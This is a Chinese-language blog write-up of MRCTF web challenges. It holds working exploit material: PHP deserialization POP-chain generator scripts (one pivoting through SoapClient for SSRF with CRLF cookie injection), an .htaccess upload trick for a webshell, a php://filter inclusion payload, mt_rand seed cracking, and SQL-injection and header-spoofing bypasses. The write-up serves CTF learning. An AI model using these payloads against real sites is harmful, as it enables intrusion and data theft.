Author:颖奇L’Amore
Blog:www.gem-love.com
Ezpop_Revenge
考点:代码审计、SOAP反序列化、SSRF、CRLF
难度:难
这个题对payload要求太严格了,导致做了好几个小时,本地可以题目就是一直不行,心态崩了
题目打开是个typecho博客,www.zip泄露,下载得到源码,flag.php的代码暗示这是一个SSRF题:
<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
$_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>
因为是POP链问题,先找反序列化位点:
代码比较多,简化一下,这个Plugin.php中的核心代码如下:
<?php
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
class HelloWorld_Plugin implements Typecho_Plugin_Interface
{
public function action(){
if(!isset($_SESSION)) session_start();
if(isset($_REQUEST['admin'])) var_dump($_SESSION);
if (isset($_POST['C0incid3nc3'])) {
if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
unserialize(base64_decode($_POST['C0incid3nc3']));
else {
echo "Not that easy.";
}
}
}
}
如果设置了$_REQUEST
,就会输出session,正好flag会存在SESSIO中。在HelloWorld_DB
的__wakeup()
方法内实例化了Typecho_Db
类,传给构造方法的参数是$this->coincidence
数组的两个键值,跟进/var/IXR/Typecho/Db.php:
class Typecho_Db
{
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
}
$this->_prefix = $prefix;
/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//实例化适配器对象
$this->_adapter = new $adapterName();
}
}
这个构造方法内将$adapterName
作为字符串进行了拼接。
在/var/IXR/Typecho/Db/Query.php中有一个非常长的Typecho_Db_Query
类,有用的代码如下:
class Typecho_Db_Query
{
private static $_default = array(
'action' => NULL,
'table' => NULL,
'fields' => '*',
'join' => array(),
'where' => NULL,
'limit' => NULL,
'offset' => NULL,
'order' => NULL,
'group' => NULL,
'having' => NULL,
'rows' => array(),
);
private $_sqlPreBuild;
public function __toString()
{
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
case Typecho_Db::DELETE:
return 'DELETE FROM '
. $this->_sqlPreBuild['table']
. $this->_sqlPreBuild['where'];
case Typecho_Db::UPDATE:
$columns = array();
if (isset($this->_sqlPreBuild['rows'])) {
foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
$columns[] = "$key = $val";
}
}
return 'UPDATE '
. $this->_sqlPreBuild['table']
. ' SET ' . implode(' , ', $columns)
. $this->_sqlPreBuild['where'];
default:
return NULL;
}
}
}
假设$this->_sqlPreBuild['action']
为SELECT,在__toString()
方法内就会返回$this->_adapter->parseSelect($this->_sqlPreBuild)
,调用了$this->_adapter
的parseSelect()
方法。
POP链逻辑:
- 反序列化
HelloWorld_DB
,就触发了__wakeup()
方法,在__wakeup()
内实例化Typecho_Db
并以$this->coincidence['hello']
作为Typecho_Db
的__construct()
方法的第一个参数; - PHP的数组是可以存对象,假设
$this->coincidence['hello']
实例化Typecho_Db_Query
对象,在Typecho_Db
的构造方法中将其作为字符串,就触发了Typecho_Db_Query
的__toString()
方法; - 在
__toString()
内,如果$_sqlPreBuild['action']
为'SELECT'
就会触发$_adapter
的parseSelect()
方法; - 将
$_adapter
实例化为SoapClient
,调用parseSelect()
是不存在的方法,触发了SoapClient
的__call()
魔术方法 __call()
是实现SSRF的关键
public SoapClient::__call ( string $function_name , array $arguments )
POP链清楚了,exp就很好写,本题目有个坑的地方,直接生成的payload不会触发成功,要将字符串改写成十六进制,也就是将表示字符串的s写成大写S,这样private属性后面的%00
这个不可见字符就能写成\00
(如果是小写s 这个\00
表示一个斜线和两个0 是三个字符)构造了好几个小时怎么都不能把flag带出来。最后队里shana师傅把%00
写成了十六进制的\00
表示形式,成功了。
写了一个脚本,能自动修改成\00的形式,输出的payload可以直接用:
<?php
//www.gem-love.com
class Typecho_Db_Query
{
private $_adapter;
private $_sqlPreBuild;
public function __construct()
{
$target = "http://127.0.0.1/flag.php";
$headers = array(
'X-Forwarded-For:127.0.0.1',
"Cookie: PHPSESSID=s8fo8ma30gbttqvgdbb48k6rm4"
);
$this->_adapter = new SoapClient(null, array('uri' => 'aaab', 'location' => $target, 'user_agent' => 'Y1ng^^' . join('^^', $headers)));
$this->_sqlPreBuild = ['action' => "SELECT"];
}
}
class HelloWorld_DB
{
private $coincidence;
public function __construct()
{
$this->coincidence = array("hello" => new Typecho_Db_Query());
}
}
function decorate($str)
{
$arr = explode(':', $str);
$newstr = '';
for ($i = 0; $i < count($arr); $i++) {
if (preg_match('/00/', $arr[$i])) {
$arr[$i - 2] = preg_replace('/s/', "S", $arr[$i - 2]);
}
}
$i = 0;
for (; $i < count($arr) - 1; $i++) {
$newstr .= $arr[$i];
$newstr .= ":";
}
$newstr .= $arr[$i];
echo "www.gem-love.com\n";
return $newstr;
}
$y1ng = serialize(new HelloWorld_DB());
$y1ng = preg_replace(" /\^\^/", "\r\n", $y1ng);
$urlen = urlencode($y1ng);
$urlen = preg_replace('/%00/', '%5c%30%30', $urlen);
$y1ng = decorate(urldecode($urlen));
echo base64_encode($y1ng);
因为想要带SESSION出来,必须要把自己的PHPSESSID传过去,然而SOAP并不能设置Cookie,因此需要CRLF。SoapClient可以设置UA,只要在UA后加上\r\nCookie: PHPSESSID=xxx
就能为http头添加一个新的Cookie字段,这样就能带上session了。
还有最后一个问题,这个插件现在还不知道在哪调用,不知道在哪执行就不能反序列化。在/var/Typecho/Plugin.php中有如下路由代码:
public static function activate($pluginName)
{
self::$_plugins['activated'][$pluginName] = self::$_tmp;
self::$_tmp = array();
Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
}
所以来到http://38.39.244.2:28102/page_admin,POST提交生成的payload,就会SOAP去访问flag.php实现SSRF把flag带到session中,然后带上admin参数来输出session即可得到flag
flag:MRCTF{Cr4zy_P0p_4nd_33RF}
PYwebsite
考点:分析
难度:简单
题目需要填一个授权码验证获取flag,查看一下是前端验证,没什么卵用:
<script>
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}
}
</script>
这里验证一个md5,但是md5解不出来的,不过无所谓。直接访问/flag.php就可以
因为前段很fine下秒mine,把代码扒下来发现lib/php-mail-form/validate.js中的JQuery会发一个POST请求:
var action = $(this).attr('action');
if( ! action ) {
action = 'contactform/contactform.php';
}
var this_form = $(this);
this_form.find('.sent-message').slideUp();
this_form.find('.error-message').slideUp();
this_form.find('.loading').slideDown();
$.ajax({
type: "POST",
url: action,
data: str,
success: function(msg) {
if (msg == 'OK') {
this_form.find('.loading').slideUp();
this_form.find('.sent-message').slideDown();
this_form.find("input, textarea").val('');
} else {
this_form.find('.loading').slideUp();
this_form.find('.error-message').slideDown().html(msg);
}
}
});
但是请求的目标contactform/contactform.php是不存在的,怀疑出题人前段一键白嫖的时候没有仔细检查。
访问flag.php告诉还没买,已经记录了购买者的ip
分析代码可知前段那个授权码验证肯定是无效的(就算验证通过后端也不知道),所以购买flag肯定是假的。因为记录了购买者的ip,所以XFF伪造一下,得到flag
ez_bypass
考点:代码审计、弱类型
难度:简单
打开之后是一堆无缩进的代码,美化一下:
<?
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd)) {
if($passwd==1234567) {
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
} else {
echo "can you think twice??";
}
} else {
echo 'You can not get it !';
}
} else {
die('only one way to get the flag');
}
} else {
echo "You are not a real hacker!";
}
} else {
die('Please input first');
}
}
签到题,第一层md5用数组绕过,第二层弱类型比较绕过
你传你🐎呢
考点:上传绕过
难度:简单
这个题最坑的地方就是HTTP Response回返回Sever: Nginx,最开始以为是Nginx测试了半天也没有任何解析漏洞、任何上传绕过方法。后来去看了404页面发现是Apache,那就好办了。
fuzz发现,上传的图片需要是个可以打开的图片(和隔壁武科的CV Maker一样)
然后后缀是黑名单检测,禁止上传带ph的后缀。因为没了ph就基本上不能绕过后缀名,可以上传.htaccess规则文件让Apache用php去解析jpg,达到getshell目的。参考GXYCTF的BabyUpload
.htaccess文件内容:
AddType application/x-httpd-php .jpg
再传个图片马getshell即可。懒得开动态靶机,不截图详细写了。
Ezpop
考点:反序列化、构造POP链
难度:简单
打开得到源码:
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
就3个类,链子很短,比较好做。
__wakeup()
方法通过preg_match()
将$this->source
做字符串比较,如果$this->source
是Show
类,就调用了__toString()
方法;__toString()
访问了str
的source
属性,str
是Test
类,不存在source
属性,就调用了Test
类的__get()
魔术方法;__get()
方法将p
作为函数使用,p
实例化为Modify
类,就调用了Modifier
的__invoke()
方法;__invoke()
调用了append()
方法,包含$value
,若将$value
为伪协议,则可读flag.php源码
<?php
class Modifier {
protected $var = "php://filter/convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return "www.gem-love.com";
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$o = new Show('aaa');
$o->str= new Test();
$y1ng = new Show($o);
echo urlencode(serialize($y1ng));
传给pop参数,即可得到flag.php的base64,解码得到flag。
套娃
考点:简单Bypass、伪协议、简单加密
难度:简单
第一层
右键查看源代码
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
这里第一个主要是匹配了_
,因为$_SERVER[‘QUERY_STRING’]不会urldecode所以一般套路是可以URL编码,但是本题目ban掉了_
的编码值%5f
绕过方法:
- %5F
- b.u.p.t(点代替_)
- b u p t(空格代替_)
毕竟是最好的语言,总是有一些奇奇怪怪的黑魔法。
第二层换行污染绕过,可参考: 2020BJDCTF “EzPHP” +Y1ngCTF “Y1ng’s Baby Code” 官方writeup
payload:
?b.u.p.t=23333%0a
得到下一步的文件名:secrettw.php
第二层
打开之后需要本地访问,伪造HTTP头之后注释处有JSFUCK,解密得到:Post me Merak
post一个Merak参数之后得到源码:
?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
对于file_get_contents()
用data://
伪协议绕过
然后输出file_get_contents(change($_GET['file']))
,对于这个change()
写一个解密脚本:
<?php
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord($v[$i]) + $i*2 );
}
return $re;
}
function dechange($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord($v[$i]) - $i*2 );
}
echo base64_encode($re)."<br>";
return $re;
}
$a = dechange('flag.php');
echo change(base64_encode($a));
得到:ZmpdYSZmXGI=
payload:
secrettw.php?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=
Ezaudit
考点:源码泄露、伪随机数、基础SQL
难度:简单
原题为2019GYCTF枯燥的抽奖,安恒新春赛也出了一遍这个题,因为以前做过就直接拿来原来脚本一把梭了
扫一下有源码泄露:
下载源码:
<?php
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}
}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
这里主要是要比较这个私钥,题目给了公钥,可以发现他们都是mt_rand()
生成的。所以只要用公钥去还原种子,然后再手工算出私钥即可
#include<stdio.h>
#include <string.h>
int main()
{
char *str1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
char *str2 = "KVQP0LdJKRaV3n9D"; //公钥
for (int i = 0; i < strlen(str2) ; i++) {
for (int j = 0; j < strlen(str1) ; j++) {
if ( str2[i] == str1[j] ) {
printf("%d %d 0 %d ", j, j, strlen(str1)-1);
break;
}
}
}
return 0;
}
得到:
36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61
把上面这串数字丢进php_mt_rand爆破,得到种子:1775196155
<?php
mt_srand(1775196155);
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
$y1ng = private_key();
echo $Public_key . "<br>";
echo $y1ng;
得到私钥:XuNhoueCDCGc
因为给了sql语句,登录时候构造一个简单的SQL查询布尔true,登录,即可得到flag。
颖奇L'Amore原创文章,转载请注明作者和文章链接
本文链接地址:https://www.gem-love.com/ctf/2184.html
注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示
师傅这里typecho这道题不用替换%和s,直接base64过去就能打(刚踩完坑
关于这个我也很迷